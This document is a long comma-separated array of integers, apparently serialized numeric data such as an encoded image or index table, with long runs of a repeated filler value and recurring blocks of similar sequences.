37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,51946,37318,44953,37318,54915,54931,37318,54967,54974,54990,55006,55021,55037,55066,55050,55080,65689,37318,37318,51966,38825,37318,37318,37318,54010,55096,55115,48257,55149,55184,55227,55249,41525,55284,55303,63265,55333,37318,37318,37318,40256,37318,55133,55360,37318,37318,37318,55377,52524,73164,55412,59232,72644,55450,55508,48452,55571,48764,46504,61212,71358,65498,52836,55590,72384,66401,41461,55624,55653,37318,55162,48123,45480,68146,44384,37318,37318,55690,55710,55730,55750,50821,72644,73775,55770,55805,41363,53990,41542,54303,55821,55849,65493,53022,65498,61780,55897,55924,46825,56459,41461,71394,55962,55996,47041,37318,37318,37318,54660,56044,56069,49736,37318,37318,37318,56099,56122,72644,56141,70528,58519,56160,58143,41542,63117,55574,66717,50850,52564,65498,63146,65498,56203,56221,51808,41461,56467,41461,56251,56269,54854,55099,56307,46073,56323,59679,56339,62046,56355,52688,61008,58074,70003,51212,41542,66283,70084,56375,56396,56430,65125,61593,46531,69280,62369,41461,56449,56483,56517,56546,63230,66178,37927,69494,47228,56575,66873,56144,56596,56612,70031,45388,56647,56669,56693,56729,56747,56781,56815,56873,56892,51765,56928,56955,37318,37318,61883,53848,56976,57010,57028,57047,57072,57089,57107,57133,57151,57170,57197,57216,56936,60597,37318,40353,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,57236,61615,37318,57252,51333,57276,57295,62141,50073,54877,49498,57311,72644,50030,54383,59799,54339,39384,52786,55523,72337,68506,73161,59759,73663,59797,47605,60497,50030,47449,46829,57331,57347,55938,57396,53268,62159,62339,66862,41867,57424,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,42152,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,57475,57504,57488,57518,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,66211,72644,45386,41542,41542,57534,52709,65498,65498,49388,65498,57854,41461,41461,51784,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,41502,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,52736,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,47060,37318,37318,37318,37318,37318,37318,37318,37318,37318,57438,72644,72644,72644,72644,72645,61918,41542,41542,41542,41542,41542,45363,57553,65498,65498,65498,65498,59800,57571,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,39711,37318,44953,37318,42450,57589,57607,57625,51565,57641,57677,57681,57697,57726,57710,57740,65689,51556,37318,41289,37087,47346,60068,37318,37318,39892,37318,40511,57756,45560,57818,57834,63977,57879,60331,41648,58e3,57914,37318,37318,38814,37318,37318,57949,44882,37318,57925,37318,67807,49037,57985,58044,51257,58061,58115,58131,41542,58165,54574,59660,56705,57154,47834,58193,52256,58227,57863,58246,50918,53781,37318,37318,37318,37318,49029,67667,37318,37318,37318,37318,73164,60986,49757,72644,58283,72644,58309,58331,63863,47408,61105,41542,58368,58389,67585,57555,49801,65498,58422,58441,68033,65185,60256,69351,47041,37318,61839,58465,37318,37318,45281,53688,37318,37318,37318,72643,72644,72644,63835,58500,58535,38772,41542,41542,55268,69704,69729,45363,65498,65498,61489,63774,58568,59800,41461,41461,66754,51734,58602,47863,54854,58637,37318,37318,68901,37318,37318,37318,72642,66219,72644,72644,72644,38767,67986,41542,41542,41542,41444,65497,56713,65498,65498,65498,59803,71875,41461,41461,41461,47863,54899,37318,58657,37318,51097,69488,55754,58674,72644,72644,58694,58724,41542,41542,58745,58769,65498,65498,61143,58793,41461,41461,71804,37318,68935,37318,73352,37318,72644,49303,60920,41542,72302,41542,65498,52557,65498,63673,46570,41461,56936,37318,38852,37318,73163,72644,56106,50031,41542,58818,65498,73828,59802,41461,48715,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,53248,58845,64251,68569,67094,58879,59108,47606,53268,62159,58907,58895,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37319,37318,44953,37318,37318,58923,37318,37038,61423,60807,58942,58956,58972,59001,58985,59015,65689,38336,37318,41289,37087,37318,59031,37318,37318,40327,37318,38338,59049,40328,59079,54363,41369,59103,48516,62003,72217,37318,37318,59124,68839,37318,63001,62951,44924,37318,37318,37318,59142,59160,59182,72644,59203,59223,59256,41542,57091,48815,59272,59718,65498,52599,56799,57854,54450,41461,63259,59312,52629,59347,40308,54027,37318,37318,37318,37318,56028,37318,37318,37318,73164,56849,59370,68264,72644,72644,41363,63477,59429,70290,41542,41542,65493,64678,69828,70882,65498,65498,46825,59459,66600,59489,41461,41461,47041,37318,60820,72604,37318,37318,56414,63654,59509,37318,37318,72643,61043,72644,72644,59543,72645,59566,72479,41542,41542,59585,41542,65528,73531,59619,65498,70373,65498,59800,54834,59637,41461,64050,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,44851,37318,37318,37318,37318,59207,72644,60920,61740,41542,41542,73606,65498,65498,49876,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,61445,73662,65498,59655,59802,56876,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,59676,72644,59695,59713,71108,58802,59734,59756,59775,59794,59819,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,59854,73737,67066,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,67305,48392,37318,54855,59885,59896,59919,66152,67290,59971,59985,60001,60031,60044,60015,65689,47586,44905,38860,60060,60084,37318,60579,48333,40435,72237,60111,60138,60122,60182,60217,60279,60316,65566,60366,50482,58641,37318,37318,48606,72949,68216,73429,60392,69215,60419,37318,60465,60494,60514,60535,72871,72644,60555,49584,41542,47939,52709,70645,70888,65498,70640,57854,54601,60344,63674,41461,59473,64205,46157,37318,60571,37318,37318,37318,60595,37318,37318,45177,73164,60613,72644,53647,72644,72644,41363,60640,41542,61097,41542,41542,58708,70406,65498,55874,65498,65498,50904,58204,41461,60666,41461,41461,47041,37318,37318,37318,37318,40106,37318,37318,44677,60687,37318,60703,72644,72644,46744,72644,58087,60725,41542,41542,41542,60758,74033,52815,65498,65498,65498,52593,61759,41832,41461,41461,41461,53066,69906,47863,49504,60776,60792,64608,60842,51384,60860,60895,60918,60939,60974,61031,61070,38767,70056,61088,61121,61167,41444,65497,61193,61228,55536,61274,59803,61293,61309,61258,72531,61332,54854,48246,61348,61369,61414,58477,51897,68272,58678,65107,61439,53722,46795,49566,61461,54813,65498,61486,61505,72623,61531,61548,61568,67348,61609,37318,37318,61636,61678,47889,61697,61718,52147,61736,61756,56291,61775,61796,55608,61816,46251,61838,37318,61855,73163,61899,68974,61934,52295,73662,61950,58777,71058,61966,62e3,62019,63023,62043,40852,60923,72471,73664,62062,59801,62083,49498,62101,55233,62122,54383,62157,62175,62225,62247,62263,62279,62295,62331,57449,55864,54413,66647,60497,50030,47449,46829,60496,73658,47451,47606,62355,62391,62339,66862,41867,41898,57361,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,62425,44953,37318,41929,62645,37318,37318,67919,62449,62465,62479,62495,62524,62508,62538,62554,62570,62591,51116,40267,62636,62669,37763,62688,62721,40114,62768,62784,62800,62846,62862,62878,62894,62929,62967,62983,37318,74513,46381,42254,37318,40466,50397,50445,63017,37318,37318,63039,73164,72644,63059,63089,55789,45386,47983,63105,51466,69257,65498,47963,66977,63139,63162,41461,63187,63203,63246,60376,37318,65243,37318,54083,37318,65923,63281,37318,49694,37318,63306,63323,63356,63373,63389,72644,67473,63412,41542,63428,63500,41542,54700,59443,65498,63522,63557,65498,56187,53414,41461,63578,63594,41461,68051,48021,46148,37318,59832,55125,37318,37318,37318,37318,37318,63803,72643,72644,70758,59187,72644,72645,38772,41542,55434,57073,41542,41542,45363,65498,74070,65498,63613,65498,59800,41461,60671,41461,63633,41461,47863,54854,37318,37318,63653,44684,37318,37318,37318,72642,72644,72644,72644,57012,55426,41542,41542,41542,41542,66835,62140,65498,65498,65498,65498,63670,41461,41461,41461,41461,63690,54854,67948,37318,37318,37318,37318,63712,72644,63734,72644,46430,41542,63751,41542,56170,65498,63769,65498,41577,41461,51728,41461,47288,63790,37318,37318,37318,37318,62822,66520,60920,41416,71239,41542,47825,58753,65498,61151,71116,41461,72584,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,45334,61615,37318,63825,73373,63858,64501,63879,65885,41461,56530,63897,63917,63966,63993,64029,64066,39534,64101,64126,64163,64186,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,50006,53268,62159,64221,66862,41867,64277,64293,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,66665,44953,37318,37318,68891,37318,64328,64337,67698,39838,64353,64369,64398,64382,64414,65689,37318,69115,41289,37087,37318,37318,63950,37318,51547,37318,37318,37318,44404,64465,64494,64517,49717,67057,64557,72217,37318,64583,37318,68839,37318,40908,40502,64605,50368,64607,37318,37318,62231,64624,67101,73183,63396,64650,67404,68345,48485,71344,64666,64694,64712,71834,64730,57181,60350,61532,53072,55317,64759,37318,64782,64801,45664,45866,38224,37318,37318,37318,37318,73164,72644,72644,52669,72644,72644,41363,41542,41542,67409,41542,41542,65493,65498,65498,55555,65498,65498,46825,41461,41461,68042,41461,41461,49668,53220,61353,37318,37318,37318,64818,59354,57374,68538,37318,72643,72644,64837,72644,72644,72645,64870,41542,64889,41542,41542,41542,68453,65498,51231,64925,65498,65498,59800,41461,61515,64943,41461,41461,47863,54854,59903,37318,37318,37318,37909,37318,37318,72642,72644,72644,64960,72644,56626,41542,41542,73894,41542,42296,65497,65498,65498,64978,65498,59803,41461,41461,71869,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,52897,37318,59144,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,62943,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,56828,64997,65024,65045,64231,59603,54339,38753,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,46305,37318,37318,37318,42426,42429,65068,54066,65102,51341,41369,65123,50559,62003,48585,65141,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,43472,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,65158,41542,41542,41542,41542,41542,66019,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,52976,72644,72644,38767,41542,41542,73801,41542,41444,65497,65498,49370,65498,65498,59803,41461,41461,65182,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,51274,72644,50031,65201,73662,71079,65498,59802,58261,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37806,44953,65219,37318,37420,65239,37318,67919,65259,65275,65288,65304,65333,65317,65347,65689,45409,47790,41289,50740,71165,72077,54775,46691,68943,37318,65363,65398,65418,65465,65515,65551,65582,68491,65617,65675,37318,37318,37318,55396,65708,50432,65732,40783,60879,37318,37318,46888,65750,54125,65773,60201,65790,65831,49353,41542,61177,57056,65855,49783,65498,65874,65901,41461,65939,58230,64743,49003,37318,37318,37318,54951,44007,65958,37318,73691,37318,44004,69414,59740,72644,52378,72644,64962,65976,66005,41542,53183,41542,52448,66040,66074,65498,73466,65498,70854,66103,60245,41461,66119,41461,72537,66911,47041,37318,37318,38803,72980,60478,40954,37318,37480,66138,66168,66202,72644,66235,46345,66251,72645,66271,41542,58177,66299,66320,41542,56559,65498,65535,66344,66367,65498,69808,41461,53763,66394,66417,41461,47863,49919,37318,37318,52902,66451,37318,66495,39978,72642,66512,60519,72644,72644,38767,65839,41542,66536,41542,41444,65497,66557,54721,65498,65498,59803,66582,73488,41461,41461,52328,47223,43477,62672